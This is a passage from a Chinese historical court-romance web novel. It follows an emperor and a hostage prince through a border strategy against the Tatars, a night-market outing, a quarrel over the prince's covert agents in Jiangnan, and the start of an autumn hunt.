裴郁璟勾着师离忱的食指抚摸着冰冷玉戒,道:“秋家本就有商队在鞑靼往来,其中百分之八十商人都靠秋家吃饭,在当地熟识,若是由当地小部族引荐给其中一个大部,定个合约而已,不会有多少阻碍。” “我们也不亏,换得全是精良烈马,把他们混进南晋军中,开战时吹响马哨,马匹躁动,军阵自乱。” 一柄小小的骨哨放进了师离忱手心,裴郁璟道:“鞑靼的马儿最听驯了,哨子一响,就只想着回栏。” 师离忱拿起那枚骨哨。 小巧白润,显然是抛光打磨过,保持得很好,很漂亮的骨头,“哪里来的?” “十三岁时带兵进攻鞑靼,一时不察落单进了陷阱,被狼群包围了。” 裴郁璟不慎在意道,“当时我想,若是活下去,得抽两条狼的骨头做哨子用,还真叫我见到了个紫皮野狼,是狼王,凶得差点废了我一条腿。后来我把它宰了,皮剥下来做了件裘衣,骨头抽出来选了两节漂亮的,做成两个骨哨。” 师离忱转眸看向裴郁璟,眼波温柔,“……疼吗?” “疼。”裴郁璟眼睛红着,可怜道,“差点就没命了,那荒无人烟的地,只能喝狼血,披着刚剥下来的狼皮,才苟活下来。” 不难怪当时在兽园,拧断那六只狼脖子那么熟练顺手,原来是早就遇见过,知道命门。 真是个狡诈的赌徒。师离忱看透不说破,把骨哨递给裴郁璟,“你赢了。”他说,“帮朕戴在脖子上吧。” 骨哨上本就拴着一根彩绳,调整一下可以挂在腰间做配饰,也可以佩戴在脖子的位置。 裴郁璟眼底划过一丝暗色,低笑两声,起身走到师离忱身后,将骨哨佩戴起来,放入了衣襟里。 贴近心脏的位置。 他有点嫉妒这根骨头,还有点遗憾,为什么当年做骨哨的骨头,没有抽他自己的。 转念想想,还好没有抽他自己的骨头,否则今日便遇不到师离忱了,再说若真用了自己的骨头,哪怕侥幸活下来也缺了骨指,还怎么伺候圣上快乐? 他眉眼阴翳,病态地摩挲着彩绳子,依依不舍的塞回后领,脸上哪里还有半分委屈可言。 僚属说—— 激起男人的怜惜,当属博同情最有效。 他想让圣上的目光里只有他,那种相互独占的感觉,实在太叫人上瘾。 第72章 细化过后的舆图包含了一部分鞑靼位置,比之前的那份要更精细一些。与内阁相商过后,根据相应位置调整了战略边防,以密信形式送往津阳城。 内阁刚散去。 门外乐福安道:“圣上,翰林院修撰周大人求见。” 状元周岳。 比起天赋出众但抽象的榜眼李别放,和文人无惧的探花卫珩一,周岳的存在感一直低调。 突然前来,必是有事。 师离忱思忖片刻,道:“让他进来。” …… 周岳入殿。 跪地俯身叩首,“圣上,臣恳请圣上,将臣请外放。” 江南周家世家底蕴不俗,是正正经经的书香门第,孵出这么个状元金蛋只怕会高兴疯了。 再者殿试放榜之后,周岳中状元的消息传回江南,江南周家大摆流水宴近半个月庆贺。如今又入了翰林院正前途大好,怎么会舍得让他外放。 师离忱敛下心思,只问:“……你想去哪儿?” 周岳道:“臣请愿圣上,将臣调往贫瘠荒芜之地。” “喔?”师离忱好奇道,“朕听闻你已有家室,家中父母也对你深有期许,你如此请愿便不怕寒了亲人心肠?” 周岳压了压唇,神色犹疑,“臣……不知当不当讲。” 师离忱大方道:“且说,朕恕你无罪。” 对于有才能的天之骄子,师离忱一向宽厚,哪怕他本身并不是一个充满仁爱之心的君主。 周岳道:“圣上有所不知,臣上京都的路上,曾遇到过被官吏欺压的百姓。那荒烟之地,一个连品级都不曾有的吏员,居然能凭着自己的官帽,蹭百姓吃喝,再摊上一个不作为的县官,小小官吏在百姓眼中便是如同噩梦一般的存在……” 所谓县官不如现管,师离忱颔首,示意他继续说。 “臣确也纠结了一阵,家中厚望不可辜负,心中煎熬万分。” 周岳颤声道,“听闻此番晋陵水患,柳大人与卫大人破釜沉舟,斩官吏十多余人,彻查地方贪腐,还政于民,深感震动。卫大人回京后,下官也去拜访了一番。” “据卫大人所言,水被疏导散去后,满地泥泞,田地尽毁,房屋倒塌,死人一个个从淤泥里挖出来,成了上报京都翰林院的一串数字,若这回依旧放任官吏所为,别说是稳固堤坝,就连安置灾民恐怕都是个问题,来年定会酿出更大祸事。” 他继续道,“卫大人还说,亲眼目睹灾祸远比耳中倾听来得真实,愤怒之下也顾不得上奏允准,先提起了剑。” “臣就想,都是文人,卫大人出自寒门尚且有此风骨,为何我便不能破斧沉舟,去地方上任,真正的做一个现管的县官,而不是高高在上的京官。” “还望圣上,允准!” 是个心诚的。 月商何德何能,今年春闱一甲全是忠心耿耿,看得见平民疾苦的官。京都有些满脑肥肠的老油条真该为此羞愧,还比不得一个年轻人。 师离忱噙着笑,语气软和几分,“春闱刚过,若有空缺的地方线管,皆由二甲补上了,年前被并入我国疆土的三座城,早前便将绩要出色的县官拨调了过去,升迁了知州。眼下暂无空缺,你便在翰林院多沉淀一番。” 在硬要外调,便只能做知州身边的副手,同知州事。 周岳本是状元出身,最低为六品,县官为七品,外调做县官本就是自贬,调去做同知州事实在有些大材小用。 周岳神情有些遗憾,“微臣明白,圣上宽泽。” 他又行了个大礼,自请告退。 殿内归回沉寂。 不过。 听到卫珩一的名字,师离忱忽然想起了好像死去已久的系统。思忖间,他不自觉缓缓转起了玉戒。 说来也怪,原本他一直能听到若有若无的电流声,系统也时不时会蹦出来提醒惩戒‘世界线有误’。 只不过那点疼痛与他而言并不算什么,他也只背着乐福安偷偷吐过两回血,他对这种电击已经习惯了。 例如卫珩一被重用的那一刻,偏离了书中轨迹,系统所开启的修正,就是一声不吭的放电。 现在的世界线人物动向,和以前完全不一样。 系统也不会和之前一样提醒要开启惩戒。可能会因为一句话,又或者是因为他的某个动作,直接开始放电。 疼痛程度不一。 但他觉得还挺好,这种疼让他有还在呼吸的感觉,活着是这样,倒省得他玩刀玩箭。 而且乐福安不知道系统的存在,也就不会一天到晚嚷嚷着‘圣上注意龙体’,吵得他耳朵疼。 因为习惯了,师离忱很难判断这种惩戒力量的强弱,除非喉咙里涌上血腥的滋味才会恍然—— 该停下了。 不然昏睡过去,福安会哭死的。 这种自动修正惩戒系统,还有一个缺点就是让他睡不好觉,多次梦魇。可晋陵水患之后,系统便没有再出现过。 师离忱顿感乏味。 不过周岳之言,不免让他开始思索。 须知书中裴郁璟和探花郎惺惺相惜,共享江山。实际上除了他那次刻意安排之外,裴郁璟再没有和卫珩一单独见过面。 有意思,但心里不太痛快。 * 入夏炎热。 京都已开夏市,夜景如星辰,春夏秋冬各成景色。圣上一向有空就会到宫外走一走逛一逛,体察民情。 今日要出宫。 用完午膳批了会儿奏折后,师离忱小憩一会儿,便开始着手更衣。身后给他梳头的是裴郁璟。 裴郁璟单手捧着一簇蓬松微卷的长发。 圣上的头发养得很好,黑润有光泽,柔软中带着一点淡淡香味,完全散开便好似将他整个人都围住了,面白唇红,眸子狭长,从镜中瞥眼看来,眸波潋滟,精致得像个妖孽。 怕扯疼小皇帝,裴郁璟梳得很小心。着手编发的同时,他从怀中摸出几颗似牛血般鲜红的珊瑚珠,一同编进了头发,墨黑的小辫里藏着几颗红珠,与金饰链子搭配熠熠生辉。 梳理好的辫子混进长发中,随着整理,成了浓黑中的一抹鲜艳亮色。 果然这种雍容华贵的颜色,与帝王最相配。裴郁璟弯起嘴角,注意到镜子里的师离忱还在看他,笑意更浓了。 师离忱拉过一根小辫,道:“你给朕梳的是什么?” “长生辫。”裴郁璟道,“上头是顶好的珊瑚珠,我瞧着好看,衬你,大的小的都多买了些,这种小珠子镶在发中果然好看。” 师离忱道:“这么出去,也不怕朕被劫了。” 这种成色的珊瑚珠一枚价值千金,虽说珠子只做点缀,可真细算起价钱,他可算得上头顶万金,实在奢靡。 裴郁璟却道:“你这样的长相,打扮素一些反倒没人信。” 一般人也认不得珊瑚珠的价钱,哪怕认出了起了歪心思,他也不会叫师离忱少一根头发,他可不是养在宅子里手无缚鸡之力的小白脸。 裴郁璟说服了师离忱,师离忱歇了拆珠子的心思,道:“福安,朕回来要吃冰瓜。” 乐福安一听垮了脸,“圣上,又不带老奴……”作势就要哭。师离忱宽慰道:“朕去去就回。” 福安能怎么办呢,福安只能幽怨地送别二人。 …… 京都大街小巷吆喝声起,因炎热不愿出门的,会叫食肆或茶肆的“索唤”,由“闲汉”送上府门。 也不是人人都叫得起“索唤”,一部分人会坐在茶摊上,船舟上,喝凉茶,吃冰饮,摇起扇子谈天说地。 人来人往,一波又一波,黄昏了街市上的人反倒慢慢多了起来。 嫌白天太热的人会选在晚上出来逛夜市,同样也能买一碗冰饮小果,价有高有低,贵得放在竹筒里可以带走,价格低得冰块少,要借着摊上的碗喝。 日头昏黄即将落幕,天色渐暗。 城中陆续挂上灯笼,点光添色。 师离忱贪凉,买了一个竹筒冰饮,未乘马车,慢吞吞的在街上走动。人流往来,裴郁璟便在师离忱身边不紧不慢地跟着。 瞧着师离忱多喝了两口,夺过了竹筒。 对上师离忱不愉的眼神,他理直气壮说道:“福安叫我多盯着你,冰饮不可过多贪足,本就身子不好,寒凉之物少沾。” 大庭广众,师离忱不好扇他,只不耐地啧了一声,抬手要抢回来。裴郁璟却仗着身高优势,将竹筒高举过头顶。 师离忱下意识垫脚去够了一下,反应过来气笑了,“……你找死吗?”当今世上谁敢戏耍天子? 暖调微光在师离忱眸中宛落星辰,因怒意唇边笑意灿烂,眼底却不见分毫喜悦之色。 他今日头发是裴郁璟梳的,并不规整,无簪无冠,还编了长生辫……就像是骄矜贵气的翩翩公子,养得金尊玉贵,红珠金饰在浓墨藻丛般的长发里若隐若现,淡去威严压迫,却格外秾丽明艳。 脾气一发,神情生动,裴郁璟一时看呆了,喉结也跟着滚了滚。 师离忱见裴郁璟还不识趣,怒极之下踹了他小腿一脚,负气甩袖就走。 这一脚总算把裴郁璟踹回神了,他赶紧追上去,低声下气地哄:“不是不给,是你身子不好……我没有故耍你……” “实在生气我们去船舱里……” “你怎么罚我都行……我瞧街边有绣花娘子,要不然我去把那位娘子的针拿来,你先扎我两下出出气?” “……” 师离忱冷哼一声,施舍了一个眼神给裴郁璟,伸手要竹筒。 裴郁璟把竹筒藏身后,摇头,“扎我可以,这个不行……且慢。”他拦住街上走过的一卖花女,从篮子里取了个粉白的芍药,讨好的递到师离忱面前,“给,花。这个漂亮,求求公子消消气吧。” 粉白的芍药花娇鲜欲。滴,开得正灿烂时被规整好,放在篮子里叫卖。 在京都,这种花通常都是姑娘买来佩戴在头上的,裴郁璟不知道,裴郁璟还期许地看着师离忱,等待一个反应。 师离忱看了看面前的花,又看了看裴郁璟的神情,那点气性忽然消了。又觉得自己方才的行为好幼稚,忍不住弯了弯眼梢。 卖花女打量着二人流转的眸光,霍然开朗,也不尴尬一个劲地夸道:“这位小公子,这花是现摘的,你瞧瞧多衬您今日的衣裳呐,就别腰上当个装点,可莫要辜负您朋友的一番心意。” 看着师离忱面色转圜,裴郁璟赶紧把这芍药花别在了师离忱腰间。 今日师离忱穿得一身金红广袖,腰间别上这么一朵大颗粉白的芍药花,顿时锐气都减去半分,整个人静静站在那儿,都是一道风景。 裴郁璟赞道:“好看!” 花好看,人也好看。 师离忱眯了眯眼,哼笑一声,到底没骂他,扭头与卖花女搭话,语调都温和了几分:“姑娘,芍药本该五月开,怎入夏许久,还能找见这么多新鲜芍药?” 卖花女刚收了裴郁璟一枚碎银子,一株花最多五枚铜板,哪怕是京都也卖不出天价来。 而这块碎银够买她十个篮子的花了,正高兴着呢,听到询问,知无不言道:“公子有所不知啊,今年芍药开得晚,六月才见花开,如今开得正盛,估摸是要到八月初才会谢完。” 闻言,师离忱眸色暗了暗,噙笑道:“多谢姑娘告知。” “多谢二位公子赏光。”卖花女喜滋滋,一边心里念着京都机会多啊!一边捏紧手里的碎银子。 裴郁璟看出不对,问:“……怎么了?” 师离忱道:“花开时间推后,或许农物成熟时间也会推后,一花一物看世界,回去要让钦天监看看天象,提前通告农户做防。” 想了想,他目光扫向裴郁璟,“别以为一朵花就没事了……” “离公子?!”不远处,传来一道惊诧的声音。师离忱转眸与人群中屹立的卫珩一对上。 看到来人,裴郁璟眼神一瞬阴翳,身后拿竹筒的手瞬间捏紧,竹筒顶端悄然出现裂纹。 卫珩一敛了敛神色,走过来拱手道:“远远见到不敢认,靠近了才发觉真是离公子。” 师离忱打量了一眼卫珩一,笑道:“刚下值?” “是。”卫珩一起身,也就这种时候他才敢去看天子的目光,心跳得厉害,垂在身侧的手控制不住轻颤。 他尽量稳住气息,语调平静回答:“刚下值,回家中换了一身衣物,出来采买一些东西。” 正考虑到卫珩一家中情况,此次水患赏赐师离忱特意给他备的字画与金银,还赐了个宅邸与两个小厮,道:“我记得你家中有管家,既白日劳累,晚上就该好好休息才是,这些事可以交给管家去办。” 卫珩一笑了笑,一笑起来全然清俊的书生气,“这些事做习惯了,总觉得交由旁人不恰当,我便自己来了。” 其实个小心思。 他入翰林院后,便得知圣上得了空闲,偶尔也会出宫体察民情,或白日或晚上,他便想着来碰碰运气。 不在朝廷,不在宫中,他才有那一两分的勇气,抬头光明正大地看着天子。忽地一道高大身影挡住了他的视线。 裴郁璟面色不善,阴沉不定的冷凝着卫珩一,眼底一片沉郁,似是一只即将发狂的恶兽。 第73章 卫珩一感受到了压迫,仿佛被裴郁璟有些骇人的气势刺了一下。 顿了顿,他不卑不亢回望。 他自是认得这位,京都城如今谁不认得这位裴殿下,身为质子得了圣上青眼,哪有一个质子该有的落魄。 裴郁璟寸步不让,卫珩一思索片刻,从怀中摸出一个荷包,对裴郁璟身后道:“离公子,今日正好遇上,我便将银子还给您。” 师离忱从后背拍了拍裴郁璟,示意让开,裴郁璟纹丝不动,坚决要把人两个人隔开。 师离忱一边掐着他后腰的肉拧了一下,一边探出半个身子,对卫珩一道:“不必如此麻烦,留着吧。” 卫珩一却摇头,“一码归一码,应得的我不会推辞,不该得的理应归还。”圣上这幅神态鲜少见到。 他笑了笑,双手捧着荷包递过去。师离忱接过后,浅笑道:“快些去采买吧,回去多休息休息,以免累着自身。” 卫珩一原想着找个理由给圣上引路,听圣上这么说,只得应道:“多谢离公子提醒。” 卫珩一低垂的眼中划过一丝黯然,抬眼又对上裴郁璟阴恻恻的目光。顿了顿,他给裴郁璟后方的师离忱行礼过后,便不再停留。 …… 实至名归的探花郎,样貌清俊,背影挺拔。欣赏过后,师离忱察觉到脸上落了一道森森的视线。 一扭头,裴郁璟面色似乎比刚刚更难看了,幽幽道:“卫珩一,卫珩一,你老盯着他干什么?” 他语调森冷,比起念名字,听起来更像是要把卫珩一给活撕了。 裴郁璟很难不多心,小皇帝在宫中闲暇之余,会在纸上写名字——写他的,写卫珩一的,偶尔还有其他人的名字。但属他的名字和卫珩一的名字出现的频率最高,裴郁璟对此人保持最高警惕。 师离忱慢条斯理道:“……你吃醋?” 毕竟书中敌国质子,和探花郎是一对,一见不钟情,二见钟情也有可能。不然裴郁璟挡他做什么? 师离忱想了想,忽然看裴郁璟不顺眼了。 师离忱眼神一变,裴郁璟背脊阵阵凉意,他急了,“我吃……” 话到一半顿住,赶紧从怀里掏出一包鼓鼓囊囊地拍在师离忱手中,“别瞎猜,拿着!离花你银子的小白脸远一点!” 轻轻抛了抛,袋子里传出金叶子碰撞的声响,这是满满一包的金叶子。师离忱蹙眉,“你不喜欢卫珩一?” 话毕。 裴郁璟眸子暗了暗,有一下没一下地勾师离忱的手指,“我喜欢谁你还没感觉到?” 师离忱冷静道:“你喜欢的是我的肉。体。” “废话!”裴郁璟后牙槽紧了紧,想一把给小皇帝抗走,做死算了。 但最后也只是捞住帝王修长白净的手,轻轻相扣,羞涩地补了一句,“……内脏也喜欢的。” “……” 诡异的回答,但师离忱那股莫名淤堵的心气一下就散了,唇边笑意也多了几分真心实意。 “嗯。”他看着裴郁璟说,“我也是。” * 一切归于平静。 除了关注南晋与鞑靼的动向,师离忱又恢复了之前的活动,时不时看一看明工坊改良出了什么好东西,挑拣一些不错的进行推广。 整个夏日期间风平浪静,月商边防经过改良调整。 夏季炎热,鞑靼缺水,试探的进犯津阳城两回。 针对这方的边防关卡经过细化调整,增了弩床与复合弓,鞑靼蓝部蓦然发觉半点便宜没占到,甚至比之前损失要大。 扮做商人潜伏到月商的士兵没有一个回信,月商戒严。 鞑靼蓝部惊觉之际,想寻求黄鞑靼与红鞑靼,却发现黄鞑靼与一个小部族有来往交易,拥有鞑靼最稀缺的盐。 鞑靼物资匮乏,红部与蓝部的首领便提出,与黄鞑靼做交换。 黄鞑靼地理位置不如另外两个部族,本身产盐量就不高,此番由小部族引荐过来的商人,索要的还都是精品骏马,交易数量有限制,黄鞑靼自家地盘都不够用的,哪里还能与其他两部交换,便拒绝了。 缺盐缺水又是夏季干旱,牲口无粮,人也无粮,鞑靼内部一时间气氛僵持,三大部族隐隐有濒临解散的趋势。 可三大部族都不敢轻举妄动,大部族吞并小部族问题不大,可大部族吞并大部族就有些难度了。 要提防旁边的十几个小部族,还要提防有没有大部族打着黄雀在后的心思。 三大部族虽各有异心,但都一致决定把内部矛盾转化成外部矛盾,既然缺东西就到不缺的地方去抢。 谁最好抢? 邻居。 与他们版图挨得最多,最近的南晋。 再说鞑靼在南晋也有探子,南晋党派都乱成一锅粥了,形势严峻得很,趁热喝。 鞑靼不蠢,月商是比南晋富饶一些,可抢起来费劲,阴招多,等他们抢到手了怕是得残一大半,他们审时度势的本领强,倾向于先解燃眉之急,再做精打细算。 鞑靼三部便轮流,时不时去南晋抢一点,隔一段时间再去抢一点,三大部默契的没选择大举进犯。 内部暂未谈拢,谁都怕背刺。 …… 这种情况一直维持到了秋季来临。 忍受许久的南晋,在朝堂之上先吵了一架,然后经过几轮筛选,最后南晋帝迫于压力,给师离忱递来了早就备好的国书。 南晋这时候送来和亲的国书,意图很明显,想寻外援。哪怕月商曾打下过南晋的三座城池,还有个质子在京都。 国书入内阁。 内阁众臣有同意的,认为‘没有永远的敌人’,可以接机索要一些好处。也有反对的,认为南晋‘心怀鬼胎有预谋’,不可轻易入局,不能上当。 双方各持己见,寸步不让。 此事暂时搁置了起来。 国书送到半道,裴郁璟就得了消息,一连半个月脸都是铁青的。 而且夏日过半时,师离忱嫌热,根本不让他近身,只随他到处走,爱干嘛干嘛,反正不让贴。 如今到了秋季,火烧似的空气总算降了温度,师离忱还是拒绝和他亲近。 只因国书到京都前,有一回,师离忱知道了裴郁璟背地里干的一些混账事,格外愤怒,将人压过来赏了几巴掌,力道一如既往,几巴掌给他嘴角扇出血来了。 脸上火辣辣的疼,可裴郁璟馋坏了。 他都能闻到巴掌扇来时,小皇帝身上凌冽清淡的熏香,很想贴着帝王皮肉狠狠嗅一口。他野心勃勃的看着,却只能受着。 师离忱怒极反笑,声音里还有几分火气:“你几个脑袋,一边想和朕柔情蜜意,一边背地里算计朕?怪不得半夜拿个铁钩过来给自己身上穿个窟窿,原来是做了亏心事。” “你只能选一样,懂吗?朕让你滚远一点!” 裴郁璟跪得结结实实。 他该的。 之后。 师离忱发现扇他手疼,改换鞭子了,他居高临下地睨着裴郁璟,眼底全然的冷意。 第74章 江南距京都远。 自然也有立监察司,主属京都监察司,副属江南监察司。 两司一责,分隔两地,江南辖区地带州府的小监察司的所有消息封存起来上通江南监察司,由江南监察司交接上报京都监察司。 两司一责有个弊端。 统管江南监察司的三品指挥使若是起了异心,虽截不住消息上报京都,但能拖延一阵时间。 以防这种情况,监察司制度格外严苛,也有探子的眼睛盯着,层层把关。 监察司人员须经考校,但有人在考校这一关便布了暗桩,悄无声息的管控着江南监察司。 这位暗桩,目前是江南指挥使的副手。 这位江南指挥使,先前乃大理寺少卿出身,对刑案有些过分明锐。 他察觉到破绽,死里逃生将消息上报京都,如今被现任大理寺少卿夏时重接应,正在修养。 为了杀指挥使,副手落了许多陷阱,动手狠辣,江南指挥使为此自断了一指。 得到消息的起初,师离忱并未怀疑到裴郁璟身上,只默不作声的叫探子彻查江南监察司。 又给江南驻守的总兵统领下令,查军营。还安排查了江南绣坊,矿冶官营,以及各地商矿。 哪怕有上报卷宗,也不如细细盘查。 这一查。 查出了几个易容混进军营的家伙。 绣房虽是官家产物,可师离忱这步棋下在这儿,便是要它走入民间,让天下女子有饭吃,有活路走。 故此绣房的经营方面一向由当地接手,绣坊里都是涉案女子,以及无处可去自愿入内的女子,外有重兵巡逻把守,里头的人出不来,无法轻易调换。 因此是与绣房有过交涉的其中一个商铺有问题。 矿冶官营一切正常,而有两家开采商矿的商户异样。 月商矿冶法制度森严,商矿只能做农耕物具所用,商户开采商矿敢挪作他用,便是九族都不够死一死,月商没人如此大胆。 与商人有关。 师离忱这才怀疑上了裴郁璟。 不用审,才开了个口,裴郁璟就认了。 师离忱一瞬间怒气直达顶峰。 …… 皮革材质的鞭子不长不短,拿在手里一截垂下,又有些许支撑力,能轻易挑起人的下巴。 师离忱端看着裴郁璟,眼底似有怒火翻腾,冷得可怕,“裴殿下好本事啊,身在京都,远隔千里,要杀朕的指挥使,还要把控矿冶,下一步你想做什么?要整个江南?不如换你来坐朕的位置?” “我不会的。”裴郁璟身上已有道道鞭痕,渗出血迹,他强忍着压抑到极点地呼吸声。 视线落在帝王握着鞭柄的手,仿佛透过这一幕,看到这只指腹浅红,纤白修长的手指,握住了另一样东西。 裴郁璟眸光微暗,抬眼看向师离忱,忽地展出一个野性阴鸷的笑容,“圣上的位置,就该圣上坐稳,我要的不是江山……我若有意,江南现在早该乱了,而不是演出一场拙劣的刺杀戏,我会把那个罪魁祸首抓过来,给圣上一个交代。” “况且我若有意,圣上又怎会让我如此放肆,定会将我圈禁。” 裴郁璟虽有城府谋划,可已经放弃了对月商的进犯——这点从交出鹿亲王私兵调令足以可证。 他要是执意藏着这块调令,时不时借此闹出点乱子,师离忱查出来也要一些时间。 所以裴郁璟的心思,真的不在月商江山之上。 这点师离忱了解得很透彻,但不妨碍他有怒气。 暗桩是真,蚕食商矿是真!要把控矿冶是真,在军营混了探子也是真!!他最厌烦有人在他背后,做这些疑似对他江山不利的谋划。 哪怕裴郁璟没有这部分野心,也会让师离忱有随时会失控的感觉,他很愤怒,有种领地被冒犯的愤怒! 尤其做出这些事的人,还是书中的‘男主’,是最后一统江山的人物。师离忱目光冷凝,忽然觉得裴郁璟格外面目可憎。 不论结果如何。 至少目前,他不想再看见裴郁璟,看着裴郁璟还要辩解,他却不想听了,嗤笑一声,干脆把人赶出皇宫,早该让他去住质子府的! 都是狗屁! 第75章 裴郁璟进不了皇宫。 皇宫守卫森严,哪像话本子里写得那般异想天开,那么好混进去,他根本见不到小皇帝。 他只能守在京都,每日看汇报来的情报,幸亏宫中暗桩还没被拔干净,好让他得到一点小皇帝的消息。 背着天子,下令暗中控制江南时,他就想过该吃点苦果,没想到皇帝打了他一顿把他赶出皇宫来了。 赶出来了……不理他,不见他,完完全全把他当个空气。 这比要杀他还可怕。 尤其是在得知南晋国书送来,入了内阁引起争议,师离忱一直未曾明确拒绝和亲之后,裴郁璟眼神逐渐狠戾。 他整日里面色森冷沉郁,让周身气息仿佛都带上了戾气,在质子府练刀时,一连劈了三四颗树。 “人呢。”裴郁璟练得呼呼喘气,沉声道。 僚属打了个响指,一个人如死狗般被拖了上来,地上划出一条血迹。裴郁璟慢条斯理地揉了揉手腕,抬眼瞥去眸底全然森寒,“……都交代了?” 僚属道:“交代了。此人在江南呆久了,心野了……他从其他死士那里偷了几份解药,算着脱离主上能多活五年,便打着改头换面的主意,想剥了江南指挥使的面皮,取代其身份。” 刀尖在地上磨出火花,裴郁璟慢吞吞走过去,寒芒一闪顿时颅首分离,“自作主张。” 他道,“给宫中送去……还有,与江南暗桩全部暂停联络,至于被查出来的,递消息让他们和圣上的人如实交代。” “啊?”僚属惊诧,“全说?” 裴郁璟神情晦暗,‘嗯’了一声,“圣上知我本意,全说了还有活路,不说就等着给他们收尸吧。” 僚属默然。 顿了顿。 他向裴郁璟拱手致礼,沉痛道:“主上,您辛苦了。” “……” 裴郁璟憋着一肚子火,想着怎么让帝王回心转意,一开始他确实有算计月商江山的成分……可后头那些暗桩探子虽在运转,却都已经停了动作,不再有威胁。 这回在江南布局,确实他有些心思,打着让小皇帝看到他能力的心思,以及——他要和皇帝密不可分。 师离忱治国谈政,他便融入这江山骨血,一点一点,从各个部分侵蚀进去,江南富庶,世家诸多,从内部瓦解握在手中。 他想过师离忱会因此生气,没想到能气这么大。 裴郁璟烦闷之余,问道:“大巫找到了吗?” “没消息。”僚属正用帕子包着手,把头颅往盒子里装,“北边的,海边的,鞑靼的商队都说了,没见过打扮奇怪的道人。” 场面有点血腥。 在想想精致贵气的天子如果打开盒子,看到这么个血呼啦的人头,香香的小皇帝要是用手去沾这头颅上的血……裴郁璟惊觉,“等等。” 僚属迟疑,“主上有何吩咐?” 裴郁璟:“把他擦干净,再弄点熏香。” 僚属:“……” 真的。 想翘班了。 * 师离忱收到了一份诉状,以及被擦得干干净净,喷香的人头。 皱着眉头看着那颗被打理到有些诡谲的人头,半晌,他摆摆手道:“送去给江南指挥使,再拨一个御医过去,叫他好好养伤,莫要为此事烦心。” 乐福安应了声,又道:“裴殿下还送了一盒珊瑚珠来,求圣上原谅,想进宫里来。” “不见!”师离忱语调陡然冷了冷,“朕不缺他那几颗珊瑚珠,再送东西来,都打回去!” 气氛冷凝。 圣上这是余怒未消。乐福安大气不敢喘,只低头应着,顺带叫人把那颗死人脑袋带走。 …… 和裴郁璟一样进不去皇宫的还有穆子秋,听说裴郁璟被赶出宫了,在家里拍着大腿幸灾乐祸了好几日。 穆子秋想回御前,递了折子,圣上不许,又给他调去禁军了,是对他上回镇压叛军立功的奖赏。 这回是正儿八经的正六品武昭校尉,有调令有实权,而并非一个空有头衔的假中郎将。 可他还是觉得没有在圣上跟前好,想方设法的想回去。 折腾了好几回,终于被他爹发现了,然后镇国公直接给这没出息的小子好一顿毒打。 穆子秋岂敢袒露心思,才折腾了机会就被打得连朝会都去不了,若是真让发现了怕是腿都得折。 …… 秋季一到。 气候适宜时,秋狩便提上了日程。师离忱闷久了,也想出去透透气,故此今年秋狩照常。 秋狩定在浮生山庄,三品大臣及皇室宗亲皆可携家眷一同前往。狩猎前一天先祭天,之后去往浮生山庄,建立围场,在围场中搭建行营。 秋狩一般都骑马过去,师离忱去时换了一身窄袖玄衣劲装,金丝银线勾勒出龙形暗纹。 自从失了内力后圣上便从未如此打扮过,乐福安一边伺候着圣上穿衣,一边感动地抹眼泪,哽咽道:“……奴才好久没见圣上如此意气风发了。” 师离忱有些好笑道:“没个正形。”又问,“小汤圆安顿好了?” 乐福安道:“在外头呢,郞义牵到笼子里了,圣上可是选好将小汤圆放归的地方了?” 提到这个,师离忱有些头疼,“尚未,小汤圆已是成年虎总要……” 虽然可以,但他并没有想着给小汤圆做绝育,大猫大猫,又不是真的猫。难得有时间,总要把大猫带去放放风。 师离忱翻身上马,前往狩猎地点,乐福安瞧着圣上的英姿,高呼起驾时都更有劲了。 …… 玄旗烈烈,队伍声势威严,金吾卫开道,腰悬的长刀虽未出鞘,却带着一股压迫感。 除了两位年迈的太师与太傅未到场,其余京都三品以上武将皆同去往。 君子习六艺,文官自然也去,他们可不和武将比,毕竟业余比不过专业,总归是图个热闹。 半道上。 裴郁璟纵马跟了上来,只能远远在后头看着师离忱的背影。 到底是南晋来的皇子殿下,为了顾及朝廷脸面与度量,是被官员们允准加在了秋狩名单里的。 他眼神晦暗地盯着师离忱的背影,不近不远的跟着。 穆子秋伤养好了,以镇国公家眷的名义随同,他同样跟在队伍末尾,听到动静扭头一看,差点没被裴郁璟腰上的金勾带闪到眼睛。 日头刚出,正好打在他身上。 高挑的身影骑在马背上,一身红金劲装勾勒出宽肩窄腰,梳得一个高马尾,身上挂得配饰良多,既精又不杂,恰到好处点缀了优点。 令穆子秋难以置信的是,裴郁璟居然还在耳廓挂了耳铛!青红的珊瑚珠垂坠在了肩头,又邪又俊。 偏偏这人生得不难看,眼窝阴翳深邃,穿得复杂了,反倒更能凹显出他迫人的气势,不必开口都能给人带来丝丝压力。 “你有病啊,这是秋狩,你打扮得和个孔雀开屏似的,谁看你啊!”穆子秋压低声音说他。 裴郁璟目光锐利地扫他一眼,嗤笑:“你懂个屁。” 连小皇帝喜好都摸不清楚的毛头小子。 说完他又阴沉着脸,透过人群去看金吾卫前后簇拥着,骑在马上的师离忱,将情绪都敛掩在眸下。 眼底涌动着的贪婪,偏执,几乎就要破土而出。 他情不自禁间,捏着缰绳的手紧了紧,鹿皮手套轻轻作响。哪怕每天都能听到小皇帝的消息,可他好久没见他了…… 穆子秋不是个会看眼色的小子,但他能敏锐感觉到一丝不对劲,又打量了裴郁璟几眼,迟疑道:“你不会是干了什么不得了的事,才被圣上赶出皇宫的吧?” 裴郁璟懒得理他。 穆子秋瞥了眼裴郁璟身上挂着的两个价值连城的腰佩,又看他那一身打扮,顿觉牙酸。 这厮到底哪里来的银子? * 皇家围场。 行营。 官员到场,祭酒行天,师离忱伸手,乐福安将一把长弓送到他手上。 师离忱目色微寒,提箭拉弓,一箭刺穿天空掠过的一只飞鸟,金吾卫很快将其拾回,一只刺穿喉咙的死鹰。 师离忱陡然一笑,举弓道:“秋猎已开,诸位爱卿各凭本事,朕手上这把弓赠与今日头名!” 底下文官躬身作揖,牵着马的武将举臂呼和,齐声应首,似能响彻山林。郞义下令后,参与者便各自上马,在围场范围内狩猎。 秋狩也有官员的女眷跟来,但留在了山庄,话谈与玩闹投壶者居多。 射箭骑术精湛的姑娘也不必拘着,可以换一身英姿飒爽的来一起狩猎,在围场中不出去就没事。 场面宏大壮观,师离忱一时感慨,同样也上了马背,纵马前去狩猎。 “圣上!圣上!” 乐福安急了,圣上的御马还没牵过来,他的马被圣上一时兴起骑走了。乐福安赶紧叫郞义,“快快,带咱家一起去……” 郞义肃冷着脸,带一队金吾卫追在圣上身后,对乐福安道:“公公莫要喊了,圣上叫您歇着。” “嗨呀!”乐福安急得跺脚。忽然眼前晃过去一道红白的光影,定睛一看——裴郁璟?! 